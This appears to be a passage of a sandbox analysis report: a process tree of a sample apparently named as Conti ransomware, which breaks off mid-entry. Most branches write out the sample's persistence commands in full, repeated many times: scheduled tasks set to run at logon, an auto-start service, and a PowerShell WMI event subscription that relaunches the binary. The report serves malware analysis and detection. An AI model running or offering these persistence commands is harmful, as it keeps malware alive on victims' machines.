- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:3028
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:5428
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4560
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:1040
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:1516
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:2400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:2020
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:6568
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6616
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:6856
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:7012
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:6436
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:6720
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:6456
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:11928
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:13564
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:14752
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:1124
        
        C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        7⤵
        
        PID:20404
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:12516
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:4712
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:8120
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:17424
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:10856
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:8200
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:8248
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:9128
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:8272
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:9640
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:10172
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2008
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:17400
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:7004
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        7⤵
        
        PID:14492
    - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
        5⤵
        
        PID:20196
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:20468
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:6828
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:1580
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10940
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:10084
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        Launches sc.exe
        
        PID:10556
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:5220
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13268
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:11912
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:12072
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12788
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:13936
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:15268
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:8136
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        6⤵
        
        PID:18156
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:13572
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6992
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:14996
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:18216
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:15864
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:16068
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:18260
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:12352
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:18528
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:9832
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:2960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:1884
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:3772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:4308
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:5220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:4560
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:2512
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:2280
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:6764
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:13800
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        
        PID:6136
      - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        6⤵
        
        PID:16460
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
        5⤵
        
        PID:17656
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:14940
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:15184
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:16316
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:13492
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:8564
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:2944
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        6⤵
        
        PID:10340
  - - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
      4⤵
      PID:14132
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:11064
- - C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe"
    3⤵
    PID:7820
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
      4⤵
      PID:7888
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "00000029" /tr "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" /sc onlogon /f
        5⤵
        
        PID:4296
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
      4⤵
      PID:4828
    - - C:\Windows\system32\sc.exe
        
        sc create "00000029" binPath= "C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe" start= auto
        5⤵
        Launches sc.exe
        
        PID:2372
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "$filter=Set-WmiInstance -Class __EventFilter -Namespace root\subscription -Arguments @{Name='00000029';EventNamespace='root\cimv2';QueryLanguage='WQL';Query=\"SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name='explorer.exe'\"}; $consumer=Set-WmiInstance -Class CommandLineEventConsumer -Namespace root\subscription -Arguments @{Name='00000029';CommandLineTemplate='C:\Users\Admin\AppData\Local\Temp\2026-07-14_f87e936cd65f4049b6756eeced98351b_conti.exe'}; Set-WmiInstance -Class __FilterToConsumerBinding -Namespace root\subscription -Arguments @{Filter=$filter;Consumer=$consumer}"
      4⤵
      PID:7696
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
